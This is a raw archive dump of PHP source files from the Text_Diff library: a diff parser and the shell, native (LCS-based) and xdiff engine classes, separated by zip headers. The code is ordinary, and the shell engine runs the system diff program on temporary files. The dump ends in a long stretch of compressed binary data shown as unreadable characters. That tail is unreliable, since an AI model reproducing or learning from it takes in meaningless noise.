                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
PK     |\S  S  	  shell.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
PK     |\'5>  >  
  native.phpnu [        <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
PK     |\@[    	  xdiff.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
PK       |\Eћ      
                string.phpnu [        PK       |\S  S  	               shell.phpnu [        PK       |\'5>  >  
            a5  native.phpnu [        PK       |\@[    	            Lt  xdiff.phpnu [        PK      &   }                                                                                                                                                                                                                                                                                                                                                                                                                                        Renderer.tar.gz                                                                                     0000644                 00000462366 15217301643 0007464 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             	<8۲%J"ƾ}}c03c)=$$d)[քER(!9Uy߯ޏS3˹{9瞻@QH4B<7ñ>$ُ$𑓑a<𑖖H¤%`R@,L"㇟`fF]051@>0P|evSzRRr!L>w<{=$] t޵"㩗Wo(j
5M'Ҧϊz[*VpPm+VȷqBiY>&3g2_kk
Ŀ}3vwצ7ԏ6m(_kULQ<@e9i;r&}i)mF#.-
I-Wğ7'2q#O5Pǎ_Ok|dAˆl˴Y3[<ٱ^wa>Y˳O挍]y+Û`zG]wڱ0J[*
 '0씗R+,biG%^tVGxȾؾ$׷8NO0Eb/IΩmͯoF.O,0Ks(WzvwxqLDڗL}?ͯ;qGDи}N8*2?<Vە 1p}PMzFCb4p%V[mX3G4~͝O}hSܧҏxeߔ1_lh>n8&'`Tٴ3w/"NiO5&t+lsv&S^_v.'s[gNj@9_2/tJ|3 P9%a(e{4{z&#)FsxN2>zCƴ5a^7xS`"3]S.3MǊz;	*an^J-͑KݣWTħ\ێ>R_{~c6e-'׊e}{-:vK 6'#G8Jɜgx}7tu*-"9-?wRו )-(>17ќM!G=2}Vq1NAdb/Mt9˝POGj<{ 9S#)Yz}ҏϥoz̨8笟{mYmѮٹFyo{>.2'A=[q
^;+G/湑xi|GE)6wGgCoK7;xDRf$'p<)*g]脽e49uC0%>h.KΞY'c_QiaGY$,Ͼ*ԻȢCIOj/YN("6V4٧$ɥw7
c6qi[s>]7ۯ\Q+wL-)s;Z'Z3 $m\%M$C˲h]G>}Z?C=<Mۂ㱕OzQhtlk3v>+e<9vDsR{`[`Qvi'mn=Nmd.ox@ٱi]T*+3*1!ζ⢑Փo۷~tپBRtKhIqUMr`h-m6C܌ǆ*M(sTdW2%O&ZpT2\2Ky\bCe¼4%q#Iڥ'|qkv9er,M-s^;r$(Mą]LGow,xuelp߶Esw^Hx`%ߧ=.5Z]G<:maີ@f[Ei)]'[	喫B>	`{ ~Ҥ({*ڮ^,UxݓN.͆8R?>y;I	NyWOx[?Y99i?0els|BGc4WX^m~cEChE>է7@3{2WS).-8&|5Mvv*Ӑm6Տ43ߪc^mw] )7C.N9'45ekuejNB9ES>?Qg;HYlɽ5C/y^eB~W9M^NV7V?^.{lmޯ"/|9̻,7%ݾ?Wj>n{7-/-`?L/U/?כn_t["zˍ+7Xp=s{Bn~W
/*~twK럨H>UG7|&yR
ׅa꽔j_.Fubo޽;'bV-zyca{^Ełn{ǿNoFb>n/)7$"'{~1G!*EyIdcL_E})sϑ<6wcM9sՂlOnd__f>sDt/ˉf/[؋\1F쟇>F[ͺ:%罯RO˅v1.p}<ϒ%g92gՔwdTD~eMcޠXMfZǤgT~mYccdȣMuf/n}awP7Uٺ$Co=vVm%/Blc=N~$1i){
⌟:R^oz`|h`B<zfk/2nEe5(f
ѽsgW^}Nd3A3;(pP2Bߓ"OYБn9a^ot/#֍MS!HLi4'$^<wjpom9T(VՊܘD\(;}zC2ovCWMCJ]8F_S^ndr\ɖS]A%ýbw:uStD׾-)횡r2yR0ĐɄrp2/RqLRpzOr	R(>g2ϔUݼ^uJ~;ǡ3HER5XC`ɌAՑ_2j$6_ip*ώb0THU;f(Z+ejzg+uC"&[O2;mU`"^#gZj~!=oO_ޔ
yԈK㞟2*u.C8ݶ3ϴ;UGM252iҏG?uuQHRʝ̴E2_HHk
?RC՚Ԧ)-6˸ܤ8CĶ6ҩ?oP<=<Us|y!\̚;fl)EUIަ-Poz<ò0ؗMBd<LM$Ӯe<'?<'{]x Y/ju'aSebsJ˞[-3\l:g>!Q?ûK<Fg_Q?䌈m&2^c6
yh{h^ֳG_߷W##aNRr'r>,=,&Ju^ӤYA~u;6mLPAW䠼AMgOGQkԈIuد	A?wxצ:l^]dGĭԪYAB4b9:P._}3zKΎq|pHPAriRCDJcf6mKr(Otj:S;D+2*卆o')M&Jw`?iEm6d6ɖ>QE$.gsR#1I7KJt+NōMg+t=sqgtfGucԺE6|U>oOUr)Ƃ"tD>zk3~d5m8q%]s&DpFg{u#ﾓ,EZq[Dd}}ܘC#:$9&w	b*Z!Fŗ\-e.'M&iԜ4zp%2v|37yhq: ?zmcN	-yGb	[zwBky1zH*#TC]?FC?4&<}T"h`Lт̟.,2mT6ˍ*HI^*VUOSځu`ʕ+'	*!N;ib@&DuS:i#5颊/fK1|]>EHD>t;xM⚣cl |nA#9ȍwvFA*} !?vy4Hkpo͎Iwu{ZNKcWKzc\^K=fYKf%nt-81sf9zY;%>^8*c)ּФ~z/#Sѽr:攭xelIUQɌ}	6ilAmKz g}azbѷn*1BdGX8//޶҉n<^B"VY$6Y8АL=4v5.#-+\&Ee2|[(F|&E^K$/K}hj[_nAW9$ѷ畵yKzvTMcl4Ǘ	eAe$Uy3Vy-୉<]KsmL \!Y3_:&'vL_-JFϡgc"b*ѱoT'|[	ߺ|9Խ>|˿(_yt*}wF7	[nNgj5ׄ~1Cvj-{bi]4V*&CN^(c5cYR!;~dRìU[zS:P~RfIA?.#V*L/5|_d[ۉt~ͣۼs;5_"gziZ	rskjѩlTlRcU>!IB왷LRs'3N2SOӤk6S4P{2~9T.h7D{u!(y^q-=;+{D9.d^k.ylNOHXLvb*0I\>[d3ih	#PGsf0JZW$qʗuDeD+s}Zۏ/|SSfmsscJBSkZguۼngȪxt3Ý\&~5%)j_Mx-
I/BOGִ4ƕ@oS;WRp0da;dif0;ޙ5W]J&axx&||ђܖ9eH(f_cgXk˗4KP=MF$^1AWK0Otak`1lUm%SRiÎz̔w!1S[RLoK{NմFAum1M-|[3OVAoը^̣_LYXbIz"vx7EʆWfΔ\}`mJ9kzrEx#fMs<G*Apgo✉gC轹?h>T^op.y.n1ǡcS~H3ɵqyIa&^v
_)||׺d0O'0쎷ى{*+WrJ>G'{<"L-`Ϩo(}=>PjKɣHU;繎6-:9د{<W7xk_[幚Vi\wDr8H9q],аnCړN,MI,ϼVfaш9Z'v,`XqBkŤtUG1րg4zE;FS-0zrWGNO>o!CYEiҝբM'ޙBv2qФή9!EQŞt|qQxӾ$oKҮ):>VZCN/}~:wũvTAՙ2UNבw|>}9.D[Rj>JS_>s#Pǻ|p6KC|LW*:a]/9h.PX>t`uYA2SF]<	)[sNDÐe;$G$b^1b*MqjH-<.QdMh-~³MΟg6V>Jx}}˻-$༭~̋rJG|V]PyAyc	&*a1=b[+Ń'v09DW¤e5x@fwipu~K6<g-.dUj/ţc_5K؎#:uH>Cc(X5!A#_ViCٍ3oæ4tALꨏѸs*n~O#t%Z~Ze搜O/Iu{̈.fV"xqpLQqyAlׇ>b󧉔=:Cg4[}twsG$	>	DAƬƃIN_r?Ԧ^cߧ., {+ґWӐǮ6T6xKdVE;H=8K:\'qk@sf*}\%T,>޷OE84?F߰)/H_:D㈛2 	ps&+$]]f=YF{$+HN4-Th-a{rX@)&ѯָы l	?l+&q[v&1⦛j2Mia$|4Չd-;s81I\/^Kyd.0zQ-*WiH[/$>վ&+]^KԖ[xkǶsi6ylrXwQ訒6
*CJǄ6e$kɖin
WzXSb@y\}EZl; 1}Ui8-swz)aR>/YF{ؒ.M3iXWmw.,Vn- 1eH\M7/"M~Ƽib9(8ȣ^Sˌ=3]k'y߅YGL~Hx_G5)?û#2#!q^sP;tݎAۅ{#<=d,v_igN*kn[>h|VGz3glGuW\&V!TKb_Yɸ sq׶ߧl是}ϖ<Rz`<TcR>5nvc>nNjT/uҼpTB`J<ҥ
ZdZ.=p{c9CF95wuT(Zu\ڐZjؾ Q_BīLh}N0d|^OBU3d0uM/Hӊ:D.nY4.V7yCj-H.Dd<u9[XcDؗ{ӑM.AsqŢ!TY.w])8ӱDHЏ'[c5t]R4&77(5wȒս|AT}VȻs%ۈ}>}I*PVKTQ^miF^ߠ
